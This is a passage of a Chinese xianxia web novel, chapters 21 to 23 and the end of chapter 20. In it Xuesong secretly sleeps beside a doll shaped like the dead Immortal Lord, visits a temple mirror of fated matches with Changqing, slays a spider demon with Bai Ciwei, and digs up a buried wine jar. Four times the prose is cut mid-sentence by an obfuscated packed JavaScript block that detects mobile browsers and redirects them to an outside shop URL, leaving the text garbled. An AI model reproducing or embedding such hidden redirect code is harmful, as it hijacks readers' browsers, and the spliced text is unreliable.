他开始了抽奖,抽到了人形玩偶,系统把东西放在仓库里,他把那个还闪着金光的东西从系统仓库里取了出来,这东西甚至还有包装。
他把包装一样一样撕开,又全都丢进系统的垃圾桶,总算能够接触到玩偶,这东西看起来灰扑扑的,和他一样大,躺在床上软绵绵的,好像里面都是棉花。
他捏了捏玩偶,玩偶一下子变成了他的样子,甚至对他眨了眨眼睛,他抱住玩偶,什么也不再去想,裹着被子躺在床上睡着了。
第二天一早,长青就起来了,昨天晚上他辗转反侧,很晚才睡着,早上一听见窗外的鸟叫,整个人就醒了。
本来修仙之人就不该睡觉,正常情况下,夜晚如果有时间,应该去打坐才对,不管是为了精进修为还是强身健体,又或者是凝神静气,打坐都比睡觉更适合他们。
但昨天的情况对他而言太混乱了,他一时没反应过来,只想逃避现实,让自己尽快睡着,上了床也就没再考虑别的。
现在既然醒了,就不应该继续躺着,更何况他心里乱成一团,情况好像没有比昨天更好,反而更糟了一些,他皱着眉头,推开了房间门。
出门一看,旁边的房间的门还是关着的,长青犹豫了一番,敲了敲雪松的门,雪松睡得正好,压根没有听见。
长青试探着把门推开,门没有锁,他想到昨天的事情,不禁有些担忧,把门推得更开了一些,往里一看,看见了还没有被收起来的人形玩偶和雪松,躺在一张床上,枕着一个枕头,盖着一床被子,仿佛昨天晚上就是相拥而眠的,看起来十分亲近,顿时愣住了。
他忍不住揉了揉眼睛,觉得或许是自己起来的时间太早,昨天晚上又没有睡好,所以看花眼了,但这个理由连他自己也不相信。
雪松察觉到他,勉强从梦中醒来,把人偶收了回去,此时他揉揉眼睛把手放了下来,再次定睛一看,发现那张床上只剩一个人,不由得倒吸一口凉气,感到目瞪口呆。
刚才那个人去哪儿了?那个人看起来为什么那么像仙尊?他为什么和雪松躺在一张床上?他是什么人?他和雪松什么关系?
长青反应过来,一个箭步冲过来,靠近了床边,仔细查看,没有找到任何头发丝或者布料线头之类,可以证明这张床上有雪松之外的第二个人躺过的痕迹。
但是,他看见床上,雪松的旁边有微微的凹陷,可想而知,那里绝对是躺过一个人的,而且躺的时间不短,否则,床上不会有空。
他勉强按耐住心中的震惊,向雪松问:“刚才躺在这里的人是谁?”
雪松不打算向他承认任何事,更何况本来就是刚起来,睡眼惺忪,一脸迷茫,好像完全不知道他在问什么一样,疑惑问:“谁?”
雪松从床上下来,站在旁边看着他说:“这床上从昨天晚上到现在一直都只有我一个。你昨天进来的时候不也看见了吗?”
长青沉默了。
如果雪松知道而对他说不知道,那就是在撒谎,可是雪松看起来没有任何勉强的神色,连身上也找不出任何被胁迫的痕迹,那就说明那个人对雪松而言,非常重要,重要到雪松愿意为了那个人心甘情愿撒谎。
可是,雪松入门的时候说过,他不仅是个孤儿,而且没有兄弟姐妹,只有一个重要的朋友,那个朋友就是仙尊。
难道刚才躺在床上的人是仙尊?!
如果雪松不知道,那么,那个人一定是修为比雪松高,而且气息对雪松而言十分熟悉,才会让雪松在没有昏迷的情况下,睡梦中感受到那个人的靠近,而没有立刻惊醒,也没有反击,或者把人赶走,甚至仿佛默许一般,让人在房间里睡了后半夜。
如果是个陌生人,这实在太恐怖了,但如果要符合修为比雪松高,气息对雪松又十分熟悉的两个条件,那个人,无疑是仙尊。
可仙尊不是死了吗?!难道有人伪装成仙尊?欺骗了雪松,甚至现在还在房间里?否则怎么会突然消失?
要知道,即使是使用法术,想要在揉眼睛的时间里,突然从人前消失,也绝不可能没有法术波动,可他刚才没感受到这一点。
要么那个人不存在,要么那个人比他强,好巧不巧,不管是哪一种,仙尊都符合情况,很难不让人怀疑。
长青深吸一口气,对雪松微笑了一下,决定不向雪松继续问这件事,平静道:“那可能是我看错了吧。”
他转身准备走,顿了顿,又想起了来时的目的,背对着雪松说:“昨天房间里出了事,还是不要在这里久待,我们趁着白天出去逛逛,散散心去去晦气,再回来也不迟。”
雪松听他的意思是要出门,本来不想去,但想到他可能看见了人偶,一直让他待在房间里,一直想人偶的事情,对自己不好,就同意了:“那好吧。”
长青点了点头,往外走了出去,给他关上了门,回到了自己的房间,立刻掏出了徽章,续上了昨天掐断的联系,呼唤长老。
“你今天起得挺早?”长老回应了呼唤,调侃道。
“我觉得我刚才好像看见仙尊了,”长青深吸一口气,毫不犹豫说,“仙尊躺在雪松的床上,雪松抱着他,他们好像睡了很久。”
长老如同被雷劈了一样呆住:“你说什么?”
长青又重复了一遍,并且详细把今天早上的事情,讲给了长老,长老怀疑自己老年痴呆或者耳聋了,沉默了好半天说:“确实要提防有妖怪伪装成仙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586864|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尊的样子去骗雪松,但雪松和仙尊关系密切是宗门内的事,外面怎么知道?何况骗他有什么好处?为了仙尊给他的东西?那些东西再好也是给雪松的,恐怕别人用不了,还有祸患,怎么会有妖怪干这?”
长青也沉默了一阵,随后用一种十分平静的好像即将发疯的语气问:“那就是仙尊了?他们同床共枕?”
他倒吸一口气,随后好像已经发疯似的,呵呵呵笑了起来:“雪松好像不知道这件事,仙尊是不敢让他看见,还是担心他不允许呢?”
长老也不知道,只是带着感慨说:“由爱故生忧,由爱故生怖。若离于爱者,无忧亦无怖。看来,仙尊终究也没逃过。”
长青坐在房间里沉默了一阵子,不知在想些什么,脸上没有表情,房间的门突然被人敲响了,他站起身去开,门外是雪松。
“你想好要去哪儿了吗?”雪松看着他问。
“我来之前就查过了,”长青露出温和的微笑,“琉璃村附近有个琉璃庙,庙里有面琉璃镜,据说只要去照一照,前世今生通通明了,连姻缘也可以得知,我还没有去过呢,听起来很有意思,不是吗?我们现在一起去吧?”
雪松听见前世今生,有一点担心自己不想别人知道的事情会被镜子照出来,听见姻缘,更不想去,皱了皱眉。
系统说:“没关系的,那面镜子最多能知道这个世界的事,其他世界的东西,大概是无能为力的,否则,那么厉害,早被抢走了。”
顿了顿,系统又安慰说:“再不然还有我呢。”
长青注视着雪松,目光落在他微皱的眉间,如同见一片秋叶,语气温温和和,笑道:“难道你不想知道朋友的名字吗?”
他眯了眯眼睛,有一瞬如审视猎物的狐狸,又问:“难道你不想知道朋友的容貌?难道你宁愿对朋友认知缺失?听起来,不像好朋友,倒像是心有所碍,是不是?”
雪松呼吸一滞:“你说的对,我应该去。”
关心朋友总比关心姻缘好。
二人入了庙。
琉璃庙香火鼎盛,从门口走进去,一个顶大的香炉,一群人正在围着烧香,再往里走,上台阶,就是黑漆漆阴冷冷又高大古怪,面目狰狞的神像,居高临下看着所有人,手里拿着各种法器,仿佛随时会跳下来,又仿佛随时会发怒。
大多数来这里上香的信众,都是战战兢兢,一脸虔诚,或喃喃自语,或沉默寡言,或严肃紧绷,但不约而同,尽可能保持了安静。
没有人大声说话,也没有人跑来跑去,或者尖叫狂笑,显得一切井然有序,空气中弥漫着香烛的味道,闪着火光的蜡烛摆在桌前,盘子盛着一碟一碟的供品,地上是黄澄澄的蒲团,柱子旁边站着双手合十垂眼闭目的和尚,身上穿着朴素的袈裟,踩着布鞋。
二人随大流,上了香,拜了神像,转身去寻前世姻缘镜。
21.第 21 章
前世姻缘镜,在琉璃庙的更深处,雪松和长青顺着人群稀少的道路往前走去,停在了后院,一个和尚站在后院的门口。
他看见了二人,转着手里的念珠,喃喃道:“阿弥陀佛。”
二人正要从他身边经过,他忽然伸出一条手臂把人拦住了,二人看向他,他问:“二位施主,是来看前世姻缘镜的?”
二人点了点头,和尚看向了雪松,皱了皱眉,闭上眼睛念了一句阿弥陀佛,转着念珠劝他们:“施主还是不要进去。”
“为什么?”雪松皱着眉头问。
和尚像是一个有点头疼的老师,面对不开窍的学生,叹着气说:“宿命姻缘未必是好事,前事已毕,后事未已,若不看这一眼,一切还有转机,若看了这一眼,前尘既定,姻缘无解,恐怕后悔啊。”
雪松的眉头皱得更紧了一些,想不出来自己哪有前尘,又想不出来自己哪来的姻缘,也不知道究竟能后悔些什么。
难道后悔会被长青误解吗?就算不进去长青也会误解的,还不如进去看看,好歹知道究竟是从什么地方误解的,总比一无所知好。
雪松的眉头缓缓松开,对和尚说:“多谢大师提醒,但我还是想进去看看,请让我进去。”
和尚摇了摇头,无可奈何,往旁边让开了,喃喃道:“求不得,解不得,世间事诸多烦恼,就在这求而不得上啊!世人该放下烦恼,寻求解脱才是。”
雪松摇了摇头,从和尚身边经过往里走去,进入了后院,长青也跟着进去了,他虽然也搞不清楚和尚说的话究竟是什么意思,但一想到仙尊和雪松之间错综复杂的关系,忽然就明白了一点。
如果这和尚看得出来雪松和仙尊曾经有缘,那多半也看得出来,他们此行的目的,自然也会知道,他们会在镜子里看见什么。
所以,才劝他们不要看吧?可是,不看看怎么知道,究竟如何后悔?长青往身后看了一眼,和尚已经重新站在之前的位置,闭上眼睛,如同没有人来过一样,显然不会再对他们说些什么了。
长青转过头来,看见了不远处的那面镜子,那是一面铜镜,周围缭绕着复杂的美丽的花纹,镜面如雾般模糊,可一旦有人上前去,把自己映照在里面,那镜面就如拨云见日,陡然间亮了起来,随后显出画面。
雪松走上前去,照了照镜子,那镜子在他眼前一亮,随后显出一片雪白,是一座高峰,上面正有一个白衣人在练剑,练完最后一式,那人收剑回身,向不远处的洞府走去。
雪松松了一口气,看来他果然没有姻缘,只有前世,所以这镜子照出了他的前世,照不出他的姻缘,倒也挺值得高兴的。
他在转瞬间轻轻笑了一下。
长青同样看见了镜子里的内容,随后把目光移向雪松,看见了雪松脸上那转瞬即逝的笑容,面不改色调整了一下胸前的徽章。
长老有一点担心他:“镜子映照出仙尊,可见他们二人确有姻缘,你还是不要执迷不悟了吧?”
长青笑了起来:“只是看见了仙尊就那么高兴吗?他明明一直在否认仙尊和他有关系的,这算什么宿世姻缘?这分明是孽缘!”
长老沉默了,虽然觉得他说的有道理,但同时也觉得仙尊和雪松是不可拆分的一对,忍不住叹了一口气:“我觉得那和尚说的挺有道理的,求而不得,苦痛颇多,与其执着,不如放下,你真听不明白?”
长青冷笑一声:“我听得明白,这话分明就是,让雪松不要执着于仙尊,再明白也没有了!要论执着,我的执着可没有雪松多。”
长老觉得这话也有道理,想了一阵子说:“可见情字害人,连仙尊也不例外,谁落进去,谁就逃不脱。”
雪松照完了镜子,把长青推过去:“既然来了,你也看一看,可不能白来。”
长青蠕动了一下嘴唇,想要拒绝,但已经站在了镜子面前,便把话吞了回去,看向镜中。
镜中是一棵高大的桃花树,树下一个面目模糊的人正在舞剑,一阵风吹过,树叶微微晃动,桃花纷纷而落,一切美好犹如梦境。
他心中猛然一惊,不敢再看,连忙挪开了目光,往后退了两三步,仿佛远离利剑一般,远离了那面窥视人心的镜子。
雪松认得桃花树,可那棵桃花树太大了,不像他见过的,雪松也舞过剑,但里面那个人面目模糊,他站得又远,更看不清楚,甚至一时也不敢分清男女,犹豫了一下,就看见长青连连后退,镜中的一切烟消云散,也没什么可看的了。
“你脸色怎么有些发白,额头还出了汗?”雪松向长青疑惑问。
“或许是来的路上有些热吧,”长青微笑了一下,擦了擦额头的汗,若无其事说,“镜子已经看过了,可以走了,我们出去吧?这地方呆着怪闷的。”
雪松往周围看了看,院子四面开阔,连顶都没有,最闷的地方也就是镜子面前,毕竟,那面镜子不好经受风吹雨打的。
但长青不是已经退出来了吗?怎么还会闷呢?
虽然觉得疑惑,但雪松并没多问,因为能感觉到长青想要迅速离开的意愿,就点了点头,顺着他说:“走吧。”
长青匆匆离开,雪松走在他后面,和尚在他们走后,睁眼看了他们的背影,摇了摇头,喃喃道:“一切有为法,如梦幻泡影。”
随后,和尚又闭着眼睛念了一句阿弥陀佛。
雪松和长青离开琉璃庙之后,在街上闲逛起来,长青想要忘记之前的事,雪松想要让长青不再关注自己镜中的画面,二人不约而同,没有再提寺庙和镜子的事。
长青走了一段路,情绪平静了很多,随手买了两个包子,分给雪松一个,自己吃了一个,向雪松问:“用不了多久,就是宗门举办新生弟子大比的日子,你知道吗?”
雪松接过包子咬了一口,想了想,点了点头:“知道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593982|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么了?”
“那你参加吗?”长青转头看他问。
“应该会参加,”雪松回忆着从前的宗门新生大比前三名的奖励,忍不住笑道,“听说大比前三名的奖励不错,我也凑凑热闹。”
长青若有所思,点了点头说:“距离大比还有一些日子,想要参加的弟子应该会努力修炼,尽可能寻找加持自己能力的装备和丹药,还有符咒和武器,你有什么要准备的吗?”
雪松想起自己吞过的那一墙的丹药,再想到房间里用过的储存着剑意的珍珠,又想起自己从媚娘手里拿到的那把剑,摇了摇头:“我没什么要准备的。”
“你倒是很有信心。”长青注视着他,仿佛见到了从前的刚入门的仙尊,神色复杂,喃喃道。
“凑个热闹罢了,”雪松耸了耸肩笑了笑,“要什么信心?”
长青缓缓挪开目光,点了点头,微笑了一下:“这倒也是。”
雪松回到宗门之后看了一眼时间,距离宗门大比,还有一些日子,足够他再完成一个任务的,他想起另外一件要取的东西。
那东西在刺猬村,他去任务处领了一个任务地点在刺猬村的任务,和他一起执行任务的是另外一个新生弟子,白刺猬。
白刺猬见到他,对他笑了笑:“我家就在刺猬村,这次领这个任务是想顺便回去,看看爹娘,你呢?”
雪松不想冷场,笑了一下说:“我有一个朋友放了东西在那儿,等我去取,我完成了任务,顺便去拿。”
白刺猬笑着点了点头:“原来如此,你和朋友的关系一定很好,真叫人羡慕。”
雪松不想再谈,冷着脸回答:“不用羡慕,他已经死了。”
“我不知道,”白刺猬愣了一下,“我不是故意要叫你想起伤心事的。”
“没关系,”雪松面无表情说,“他死了很久了,我一点也不伤心了。”
白刺猬将信将疑点了点头,不过之后都没有再说什么,一路上保持了安静,二人抵达了刺猬村。
他们这次的任务是,除掉刺猬村附近山上,蜘蛛洞里的大蜘蛛精,蜘蛛精已经有一半化成了人形,正在吞食一具人类的尸体。
二人打断了蜘蛛精的进食,蜘蛛精勃然大怒,向他们发起了攻击,攻击中突然看见了雪松的脸,猛然一惊,忍不住喊道:“仙尊?你不是死了吗?你怎么回来了?这不可能!”
雪松冷笑道:“仙尊?我可不是他!”
站在旁边拿着剑的白刺猬没见过仙尊,看见雪松脸上的冷笑,不由得有些恍惚,因为他想到了来之前的路上,雪松就是这么笑的。
那个时候他们在谈什么?
雪松有一个死去了的朋友。
仙尊也已经死去。
仙尊就是雪松那个朋友?
雪松提到仙尊和提到朋友时的表情,根本一模一样!他们居然是朋友?白刺猬大为震惊。
22.第 22 章
蜘蛛精听见对面不是仙尊,顿时来了勇气,冷笑道:“无名小辈!竟敢装神弄鬼?看我不把你大卸八块!今天我就不做蜘蛛!”
话虽如此说,这蜘蛛精还是柿子挑软的捏,一下子冲向了雪松旁边的白刺猬,张口吐了丝,眨眼间,白刺猬就被裹成了一个茧,挣扎着一时没了声音,在原地晃了晃,就定住了。
雪松冷笑一声,一剑砍了过去,只见一道惨白的剑光,突然在洞穴中闪烁起来,眨眼间飞向了蜘蛛精。
蜘蛛精惨叫了一声,被剑光劈成了两半,正想挥动长腿逃跑,雪松的剑,已经落在了蜘蛛的身上。
蜘蛛又惨叫了一声,躺在地上抽搐了一阵子,流出了许多的血,渐渐不动了,雪松劈开了旁边蜘蛛丝裹成的茧,把白刺猬从里面拽出来。
白刺猬躺在地上喘了两口气,猛然间惊醒,脸上通红一片,四肢颤抖着爬起来,双眼发直,一副劫后余生的样子,喃喃道:“谢谢!要不是你,我可能就死在里面了,那蜘蛛真狡猾!”
雪松往里走去:“不用客气。”
白刺猬因为刚才的事有些害怕,连忙拦住了他:“既然已经完成了任务,还往里面走干什么呢?万一有什么陷阱,岂不危险?”
雪松回答:“这蜘蛛待在这里,这么大一个洞穴,说不定藏了什么宝贝,既然已经处理了蜘蛛,怎么能不带走宝贝呢?”
他说着往前走去:“就算有陷阱,也没关系,一并处理了,免得以后有人误入此洞,不小心跌入陷阱,反而造成伤亡,还得再派人来处理一次,那就不好了。”
白刺猬连忙跟了上去:“还是你考虑周到,那我也和你一起吧,反正都已经来了,还是处理干净再走比较好,不然倒霉的总归是村子里的人。”
雪松点了点头:“随你。”
二人往里走去,遇到了一堆晶莹圆润比人头还大的蜘蛛卵,表面上缠绕着一层一层的丝线,里面是蠕动的,还在孵化的小蜘蛛,已经可以隔着丝线看见里面,漆黑色的挣扎的眼睛。
雪松抬起剑来,把这些蜘蛛卵全都处理掉了,一道剑光闪过,蜘蛛卵化为灰烬,地面瞬间移平,雪松继续往里走去。
白刺猬在旁边叹为观止。
这样厉害的剑招,这样厉害的人,要说和仙尊毫无关系,现在倒是有点让人不敢相信了,虽然从没听说过仙尊收徒,但也许是私底下交好,所以得了几招传授,这也不奇怪。
雪松找到了一个箱子,打开一看,里面是他要找的东西,就把东西拿了出来,在手上抖了抖。
白刺猬看见那东西还有些惊讶:“这软猬甲很衬你,大小正合适,要不是我亲眼看见你从箱子里拿出来,我还以为是为你量身定做的呢!”
雪松冷笑起来:“这就是我的东西!”
白刺猬瞪大眼睛:“你怎么认出来的?”
雪松把软猬甲丢回箱子里,盖上盖子,念了一声:“过来!”
那软胃甲砰的一声撞开盖子,就向着他冲了过去,停在了他面前,他把手伸出去,软猬甲落在他手上,好像一只软绵绵的小狗,乖巧安静极了。
白刺猬忍不住有些好奇,靠近看了看那软猬甲问:“你怎么做到的?”
“很简单,”雪松对他解释,“这上面有我的灵魂印记,这说明,东西本来就是我的,自然我一喊,就来了。”
“怎么能把灵魂印记弄到东西上面去呢?”白刺猬歪了歪头。
“要么在制作的时候,就把印记打上去,”雪松丢了一个清洁术,把软猬甲穿在身上,回答道,“要么在拿到手之后,让这东西认自己为主,灵魂印记就上去了。”
白刺猬绕着他转了一圈,感慨道:“好合身啊!”感慨完之后,白刺猬顿了顿,忽然发现软猬甲上,有一根细腻洁白的丝线。
他定睛一看,大吃一惊:“这不是刺猬村后山森林里,精灵树上的蜘蛛丝吗?据说那里有一只大蜘蛛,是年纪很大成了精的,平时住在树上吐丝,若有人靠近就躲起来,若有人要拿走蜘蛛丝,就现出身形来考验,只有通过考验的人,才能拿到蜘蛛丝。”
白刺猬说到这里,忽然停了下来,脸色变得有点古怪。他记得那只蜘蛛考验取蜘蛛丝的人,通常是看那个人有没有一见钟情。
如果那个人曾经一见钟情,蜘蛛会把蜘蛛丝交给他,如果那个人不曾一见钟情,蜘蛛就会把蜘蛛丝都收起来,躲到谁也找不到的地方去,直到周围安静下来,才会慢慢重新出现。
因此,刺猬村的人们,又把从那只大蜘蛛那里得到的蜘蛛丝叫做,一见钟情丝,由此衍生出了一种习俗,谁要是从蜘蛛那里得到了蛛丝,送了出去,送给谁,就等于对谁说,我对你一见钟情,因此,刺猬村的人都很会用那只蜘蛛的蜘蛛丝来做东西。
按照已知的信息,软猬甲是雪松的朋友送给雪松的,雪松的朋友是仙尊,所以软猬甲是仙尊送给雪松的。
软猬甲上有精灵树的蜘蛛丝,精灵树的蜘蛛丝代表一见钟情,仙尊把有蜘蛛丝的软猬甲送给雪松,等于仙尊对雪松一见钟情?
白刺猬意识到这一点的时候,倒吸一口凉气,瞳孔地震,感觉自己吃到了一口大瓜,又因为无人可以分享,以至有些兴奋过度。
“你怎么了?”雪松有点疑惑,看着他。
他连忙摆手:“没什么。”按理说,虽然只是猜测,但有理有据,告诉雪松也没什么,毕竟,雪松也是当事人,有知情权。
可是仙尊既然只是选择送东西来表明心意,而没有直接说,恐怕也不希望他这个旁人代为转述,他还是暂时不要说了,回头去问问宗门长老或者和雪松走得比较近的长青师兄吧。也许有更合适的办法。
与此同时,长青忽然联系了长老:“还记得在琉璃村旅馆房间里那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599593|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回,我在雪松的床上发现了一个人吗?”
“怎么了?你把那个人找到了,还是仙尊复活了?还是你终于确认自己看错了?”长老问。
“我只是突然想起来,那个人好像没有气息,虽然死人没有气息是很正常的事,但如果那不是死人,而是人偶呢?”长青一边走一边喃喃:“如果当时并不是一个人在我面前逃跑或者藏起来了,而是雪松把人偶收回了储物戒指,那一切就说得通了!”
为什么那个人能出现在雪松的床上?因为那是雪松的玩偶。
为什么那个人能在别人揉眼的时间里突然消失,而没有任何法术气息的残留?因为那就不是一个人,也没有任何法术。
为什么那个人看起来像仙尊?因为那是雪松亲手制作的玩偶,用来在无人时思念仙尊,照着仙尊做的,当然像了!
为什么没人知道有那么一个玩偶?因为玩偶的制作和使用,都和雪松以外的任何人没有关系,别人自然不会知道。
为什么雪松回答没有人?因为玩偶不是人。
为什么雪松表面不承认和仙尊有关系,但暗地里已经抱着仙尊的玩偶睡起觉来了?或许雪松对仙尊的感情是他自己都意识不到的深。
他在无意识中拿出了仙尊的玩偶,却在醒过来之后把玩偶下意识收了回去,才会对别人说,根本没有什么在他的床上,因为他就是这么认为的,他爱仙尊爱到了这个地步!
长青咬牙切齿,忍不住想要打听雪松现在在哪,得知雪松出任务去了刺猬村,就也去了刺猬村。
雪松和白刺猬已经完成了任务,正遇上刺猬村在举办庆祝活动,就准备旁观一下活动再走。
白刺猬对雪松介绍说:“这是村子每年一次的庆祝活动,庆祝的是有情人终成眷属,会有漂亮姑娘穿着漂亮裙子,在牛马拉的车上绕着村子转,一边转一边用手把篮子里提前收集的鲜花和树叶撒出来,谁身上的鲜花树叶多,谁受到的祝福就多,只要愿意出门,每个人都有机会得到祝福,大家都会很高兴。”
他顿了顿,带一点私心对雪松说:“到时候村子里还会有人摆摊,做情人占卜,你头一次来,也去玩玩吧?很有意思的。”
雪松摇了摇头:“我对姻缘没有兴趣。”
白刺猬看他不为所动的样子,有些心虚,扯了扯嘴角,笑了笑:“就当是玩游戏,大家都高高兴兴的,一起玩而已?”
雪松注视了他一会儿,确实不想扫别人的兴,答应下来:“好吧。”
花车游街的时候,白刺猬特意把雪松拉到了街道旁边,看着那车子,等着上面的花洒下来,上面的姑娘确实往下撒花了。
但不知哪里吹来的一阵风,把那些可能落到雪松身上的花全都吹走了,连叶子也没剩下一片。
白刺猬呆呆看着雪松。
片叶不沾身,雪松和仙尊竟然注定是悲剧?
23.第 23 章
忽然有一片叶子被吹到了雪松面前,雪松伸出手去,那片叶子又被风吹走了,甚至在他面前打了个转,才慢悠悠飘远的。
他把手收回去,注视着那片飞走的叶子,面色十分平静,好像并不觉得有什么,但站在他旁边的白刺猬见此情形,心中一惊。
近在咫尺的叶子,即将落在手心又飞离,这是预兆吗?仙尊和雪松之间,感情的预兆,又或者说,这其实只是结果的显示——
仙尊和雪松曾经近在咫尺,即将在一起的时候又被迫分离,仙尊离开了雪松,就像那片叶子。
雪松接受了这一切,就像那只伸出又收回的手,想要挽留又无力回天,所以被迫放弃,终究独自一人,留了下来。
白刺猬连忙拉住了雪松,把他拽到了情人占卜台面前,试图分散他的注意力,免得他想到伤心事,对他笑着说:“玩玩占卜吧!”
雪松虽然觉得他突然把自己拉过去有点奇怪,但确实也没在刺猬村玩过占卜,因此点了点头,面色平静问:“这东西要怎么玩?”
白刺猬笑着回答:“很简单的,这里有一个签筒,你把东西晃一晃,晃出一根签子来,上面的字就是占卜的结果,不过你切记在晃的时候都要在心里默念自己想要询问的事,否则不准的。”
雪松将信将疑点了点头,试探着晃了晃签筒,晃出来一根签子,白刺猬眼疾手快,把那根签子拿了起来,定睛一看,上面写着——
有情人终成眷属,无情人终究别离。
白刺猬一眼扫过去看完了,大惊失色,立刻把签子丢回去,浑身紧绷绷,笑着对雪松说:“你刚才在问什么呢?”
这签文的意思再明白也没有了,简直是戳着人伤疤说,仙尊和雪松,不是有情人,所以成不了眷属,因为是无情人,所以终究别离。
这要是两个人蜜里调油还好,两个人生离死别,你给人看这个?怕不是想被掀摊子!绝对不能给人看见!
雪松觉得他的反应有点奇怪,回答道:“我问的是,我究竟有没有姻缘,毕竟,这是情人占卜,不是普通占卜,不问一问情人,好像差点意思。”
白刺猬一脸苦涩呵呵呵笑了起来。
问的居然是有没有姻缘?难怪是那样的签文!那不会有错了!签文上指的就是雪松和仙尊。
可是他不太明白,雪松和仙尊,一个在人死后也记着约定,一个生前就想着送一见钟情的礼物,怎么就无情了?
难道非得在天地见证下起誓行礼,才算有情吗?等等,难道这根签文其实要看的是前半句?
仙尊和雪松早就有情人终成眷属,如今虽然死别,却因为情之一字,仍然像没有分离一样?所以才说,无情人分离?是因为雪松对仙尊无情的那一天,就是他们完全分离的那一日?倒也不是没有可能。
白刺猬陷入思考。
“你想什么呢?”雪松看着他,有些疑惑问。
他回过神来,一下子笑道:“算了算了,占卜不过图个乐子,我看时间也差不多了,我们去找饭吃吧?路上可以买个刺猬糖!”
他说着往周围招了招手,掏出钱来,买了一颗刺猬糖,拳头大小的,晶莹剔透,看起来活灵活现,确实是只小刺猬的样子,只是底下有根签子,方便拿着,像是刺猬被扎了一下,有一点诡异的好笑。
他把糖转手递给雪松:“尝尝吧。”
雪松尝了一口,忽然想到,自己曾经在一个不为人知的小院子里埋了一坛酒,算算时间,现在应该能喝了,只不过不知道有没有毒,但是以他的修为喝下去,应该也不会死,可以试一试。
正好现在有时间,他可以趁机去,他就停住脚步,对白刺猬说:“我想起来一件事要办,你先回去吧,等我办完了,我去找你。”
白刺猬有些疑惑:“你要办什么事?任务不是已经完成了吗?是私事?可是你从前,没有来过这里吧?要到别的地方去?是不是太远了?”
雪松摆了摆手:“不用担心,没有危险,我去去就回。”
他说完转身就走,没给白刺猬一点多余问的时间,白刺猬往前走了两步,想喊住他,发现他已经不见了,只好停住,叹了一口气,有些发愁,喃喃自语:“究竟干什么去了?”
雪松拿着引路符,来到了自己的院子,往周围找了找,在杂物间里拿出铲子,蹲到了树根旁边,确认了一下从前埋下去的方位,就开始挖起来。
他挖得十分认真,连周围有人路过都没注意,这院子只有非常简单的基础防御法阵,能保证普通人不可随意进入,但并不会屏蔽院子里的情况,所以,如果不是特意增加屏蔽法阵,路过的人是能看见院子的。
路过的长青停下脚步,瞪大眼睛,看着正蹲在地上拿铲子挖土的雪松呆住了。
这是在干什么呢?玩泥巴?雪松应该过了玩泥巴的年纪了。挖坑?那个坑小小的,看起来不能埋人,除非烧成灰,用盒子装。
可是,周围没看见尸体,也没看见盒子,如果只是一捧灰,丢在哪里都可以吧?用不着专门挖个坑,那么大一棵树,总不至于还缺肥料。
长青给自己施了个隐匿法阵,左右看了看,往不远处的树干旁走了过去,站在树下的阴影中,默不作声,看着雪松。
他倒要看看,雪松执行任务,执行到半路,不在任务地点,到这来挖土干什么。总不会又是为了仙尊吧?绝不可能!雪松又不是离开仙尊就活不下去。
经过一阵努力之后,雪松把酒坛子挖出来了,他把铲子一放,就伸出手去,在坑里抓着了坛子的边缘,把坛子从土里抬了出来。
长青定睛一看,倒吸一口凉气。
琉璃玉清酒坛?那不是东海酒仙因为曾经得到过仙尊的帮助,所以赠送给仙尊的,只要往里面倒水就会得到醇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604320|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香酒酿的上品法器吗?怎么会在这里?
雪松怎么会知道?这么精准的位置,又是提前知道的?谁告诉他的?他的朋友?他的朋友不是死了吗?死之前告诉他这么多事?
雪松随便伸手把坛子旁边的土渣子拍了拍,又吹了一口气,给手上丢了一个清洁咒,在确认手上没有不可食用的东西之后,搓了搓手,兴高采烈试图打开酒坛子。
他只是刚刚拆了套在最外面的一根细细的红绳子,一股浓郁的酒香就从坛子里飘了出来。
长青在不远处动了动鼻子,从酒香里嗅到了一股桂花气,他闻得出来这是上好的酒,也由此确定了,那个酒坛子确实就是仙尊曾经得到的那一个。
